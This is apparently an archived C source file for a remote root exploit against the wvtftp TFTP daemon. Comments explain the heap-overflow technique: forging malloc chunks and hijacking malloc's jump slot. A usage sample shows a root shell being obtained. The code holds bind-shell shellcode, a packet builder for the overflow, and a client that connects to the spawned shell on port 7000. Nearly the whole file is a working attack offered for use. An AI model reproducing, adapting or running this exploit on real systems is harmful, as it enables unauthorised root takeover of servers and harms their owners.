home *** CD-ROM | disk | FTP | other *** search
- /*
- * wvtftp option name heap overflow remote root exploit
- *
- * infamous42md AT hotpop DOT com
- *
- * exploitation is not exactly straight forward. When we overflow our buffer,
- * we overwrite a pointer that is freed before we get to trigger our overwrite.
- * so we have to restore the state of this pointer to some sane value so it can
- * be freed. after we do this, we trigger the overwrite, and hijack the
- * jumpslot for malloc(). then to trigger malloc(), we send a bogus request,
- * and then connect to our shell. all of the offsets should be fixed for 32 bit
- * platforms, all you need to pass is the base address of the heap buffer we're
- * overflowing. 'ltrace wvtftpd -dd 2>&1 | grep malloc | grep 616', and of
- * course the jumpslot for malloc(), 'objdump -R wvtftpd | grep malloc'.
- *
- */
-
- #if 0
- Usage: ./a.out
- [ -h host ] [ -r object_heap_base ] [ -l retloc ]
- [ -f remote file ] < -p port > < -a align >
- [n00b localho outernet] ./a.out -h localho -r 0x8063cd0 -l 0x0805e540
-
- connected to localho(127.0.0.1)
-
- exploit sent, total data len 597
-
- triggering overwritten jumpslot
-
-
- connected to localho(127.0.0.1)
-
- got a shell
-
- id
- uid=0(root) gid=0(root)
- groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
-
- - Connection closed by user
- #endif
-
- #include <stdio.h>
- #include <sys/types.h>
- #include <string.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <sys/socket.h>
- #include <netdb.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <stdlib.h>
-
- #define REMOTE_FILE "foo"
- #define FTP_PORT 69
- #define NOP 0x90
- #define BS 0x1000
- #define SHELL_PORT 7000
- #define ALIGN 0
- #define die(x) do{ perror(x); exit(1); }while(0)
-
- /* a dlmalloc chunk descriptor */
- #define CHUNKSZ sizeof(mchunk_t)
- typedef struct _mchunk {
- size_t prevsz;
- size_t sz;
- long fd;
- long bk;
- } mchunk_t;
-
- /* program arguments */
- typedef struct _args {
- char *host,
- *remote_file;
- u_long object_heap_base,
- retloc;
- u_short port,
- align;
- } args;
-
-
- /* call them shell code */
- #define SHELL_LEN (sizeof(remote)-1)
- char remote[] =
- "\xeb\x0a""1234567890" /* jump */
- "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
- "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
- "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
- "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
- "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
- "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
- "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
- "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\xa1\x5f\x66\x6e\x69";
-
-
- void usage(char *progname)
- {
- fprintf(stderr, "Usage: %s\n"
- "\t[ -h host ] [ -r object_heap_base ] [ -l retloc ]\n"
- "\t[ -f remote file ] < -p port > < -a align >\n",
- progname);
- exit(EXIT_FAILURE);
- }
-
-
- void parse_args(int argc, char **argv, args *argp)
- {
- int c = 0;
-
- while((c = getopt(argc, argv, "h:p:r:a:l:")) != -1) {
- switch (c) {
- case 'a':
- argp->align = atoi(optarg);
- break;
- case 'p':
- argp->port = atoi(optarg);
- break;
- case 'r':
- argp->object_heap_base = strtoul(optarg, NULL, 16);
- break;
- case 'l':
- argp->retloc = strtoul(optarg, NULL, 16);
- break;
- case 'h':
- argp->host = optarg;
- break;
- case 'f':
- argp->remote_file = optarg;
- break;
- case ':':
- case '?':
- default:
- usage(argv[0]);
- }
- }
-
- if(optind != argc || argp->align > CHUNKSZ-1 || argp->object_heap_base == 0
- ||
- argp->host == NULL || argp->port == 0 || argp->retloc == 0 ||
- argp->remote_file == NULL)
- usage(argv[0]);
- }
-
- int conn(char *host, u_short port, int proto)
- {
- int sock = 0;
- struct hostent *hp;
- struct sockaddr_in sa;
-
- memset(&sa, 0, sizeof(sa));
-
- hp = gethostbyname(host);
- if (hp == NULL) {
- herror("gethostbyname");
- exit(EXIT_FAILURE);
- }
- sa.sin_family = AF_INET;
- sa.sin_port = htons(port);
- sa.sin_addr = **((struct in_addr **) hp->h_addr_list);
-
- sock = socket(AF_INET, proto, 0);
- if (sock < 0)
- die("socket");
-
- /* with UDP this means we can write() instead of sendto() */
- if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
- die("connect");
-
- printf("\nconnected to %s(%s)\n\n", host, inet_ntoa(sa.sin_addr));
- return sock;
- }
-
- /*
- * ftp packet bytes look like:
- *
- * 0-1 code - [0]*256 + [1] : 1 for read, 2 for write
- * 2 NULL termed file name, must exist and be readable
- * X NULL termed mode [ netascii octet mail ]
- * Y NULL termed option name
- * Z NULL termed option value : overflow with this string
- * and a bad option to get our pointer freed
- */
- void sploit(args *argp, int sock)
- {
- int len = 0, align = argp->align, x = 0, begin_packet_data;
- long retloc = argp->retloc, object_heap_base = argp->object_heap_base;
- char buf[BS], *remote_file = argp->remote_file;
- mchunk_t chunk;
-
- memset(buf, 0, BS);
- memset(&chunk, 0, CHUNKSZ);
-
- /* set opcode for reading */
- buf[1] = 1;
- len = 2;
-
- /* the file to read, and the mode */
- len += sprintf(buf + len, "%s", remote_file) + 1;
- len += sprintf(buf + len, "%s", "octet") + 1;
-
- /* all that follows gets copied via strcpy() */
- begin_packet_data = len;
-
- /* the option */
- len += sprintf(buf+len, "%s", "blksize") + 1; /* 8 */
-
- /* the overflow , but first a valid blocksize to past test */
- len += sprintf(buf+len, "%s", "512"); /* 3 */
-
- /*
- * from here buffer looks like:
- * [ align - shell - chunks - pkttimes - chunks ]
- */
- #define OFFSET_TO_OUR_BUF_FROM_BASE 56
- /* setup the chunk */
- chunk.prevsz = 0xfffffffc;
- chunk.sz = 0xfffffffc;
- chunk.fd = retloc - 12;
- chunk.bk = object_heap_base + OFFSET_TO_OUR_BUF_FROM_BASE + align + 11/* 8 +
- 3 */;
-
- memset(buf+len, 'A', align);
- len += align;
- memcpy(buf+len, remote, SHELL_LEN);
- len += SHELL_LEN;
-
- #define CHUNK_BYTES 416
- for(x = 0; x < CHUNK_BYTES - (CHUNKSZ - 1); x+= CHUNKSZ)
- memcpy(buf+len+x, &chunk, CHUNKSZ);
- len += x;
- buf[len++] = 0;
-
- /* trigger the free with a bad option (no value) */
- len += sprintf(buf+len, "%s", "blksize") + 1;
-
- /*
- * the buffer we overflow is part of a larger structure that is embedded in
- * a class object located on the heap. the base address of this object is
- * what 'object_heap_base' refers to. the structure is 'struct TFTPConn',
- * member of the 'class WvTFTPBase'. we need to repair a pointer in the
- * data that we overwrite. the pkttimes member of the structure is a
- * pointer to an object of type 'class PktTime' that gets deleted. in this
- * destructor for the object that gets deleted, a member pointer offset 12
- * bytes in, is a pointer that gets freed via delete. This freed pointer
- * needs to be set up by us. You could create a fake chunk and use that,
- * but it is simpler to just make that pointer be NULL as free(0) does
- * nothing. there are several spots where we have a guaranteed NULL word
- * inside of the 'struct TFTPConn' class object. so the idea is to point
- * pkttimes 12 bytes below that NULL, so that when it goes to free the
- * pointer, it will use the NULL word.
- */
-
- /*
- * our buffer is 512 bytes, and we start copying at 2 bytes in. the
- * distance to pkttimes pointer is 526 bytes, rounded up to 4 byte boundary
- */
- #define OFFSET_TO_PKTTIMES_IN_BUFFER 528
- /*
- * we point pkttimes at an area that contains guaranteed NULL word, which is
- * the 'lastsent' member of the TFTPConn structure. it is the number of
- * blocks which have been sent over teh connection so far. it will always
- * be 0 since no blocks have been sent to us yet. if we know the base of
- * the object we know where 'lastsent' is located.
- */
- #define OFFSET_TO_NULL_POINTERS_FROM_BASE_MINUS_12 40
- *(uint32_t *)(buf + begin_packet_data + OFFSET_TO_PKTTIMES_IN_BUFFER) =
- object_heap_base + OFFSET_TO_NULL_POINTERS_FROM_BASE_MINUS_12;
-
- write(sock, buf, len);
- printf("exploit sent, total data len %d\n\n", len);
- }
-
- void shell(char *host, u_short port)
- {
- int sock = 0, l = 0;
- char buf[BS];
- fd_set rfds;
-
- sock = conn(host, port, SOCK_STREAM);
-
- printf("got a shell\n\n");
- FD_ZERO(&rfds);
-
- while(1){
- FD_SET(STDIN_FILENO, &rfds);
- FD_SET(sock, &rfds);
-
- if(select(sock + 1, &rfds, NULL, NULL, NULL) < 1)
- die("select");
-
- if(FD_ISSET(STDIN_FILENO, &rfds)) {
- if((l = read(0, buf, BS)) <= 0)
- die("\n - Connection closed by user\n");
- if(write(sock, buf, l) < 1)
- die("write");
- }
-
- if(FD_ISSET(sock, &rfds)) {
- l = read(sock, buf, sizeof(buf));
-
- if (l == 0)
- die("\n - Connection terminated.\n");
- else if(l < 0)
- die("\n - Read failure\n");
-
- if(write(1, buf, l) < 1)
- die("write");
- }
- }
- }
-
- /*
- * call the function whose jumpslot we overwrote, malloc()
- */
- void trigger_retloc(int sock)
- {
- char buf[BS];
-
- write(sock, buf, 200);
- }
-
- /*
- */
- int main(int argc, char **argv)
- {
- int sock = 0;
- args argy;
-
- memset(&argy, 0, sizeof(argy));
- argy.align = ALIGN;
- argy.port = FTP_PORT;
- argy.remote_file = REMOTE_FILE;
-
- parse_args(argc, argv, &argy);
-
- sock = conn(argy.host, argy.port, SOCK_DGRAM);
-
- sploit(&argy, sock);
-
- sleep(2);
- printf("triggering overwritten jumpslot\n\n");
- trigger_retloc(sock);
- sleep(1);
- close(sock);
-
- shell(argy.host, SHELL_PORT);
-
- return EXIT_SUCCESS;
- }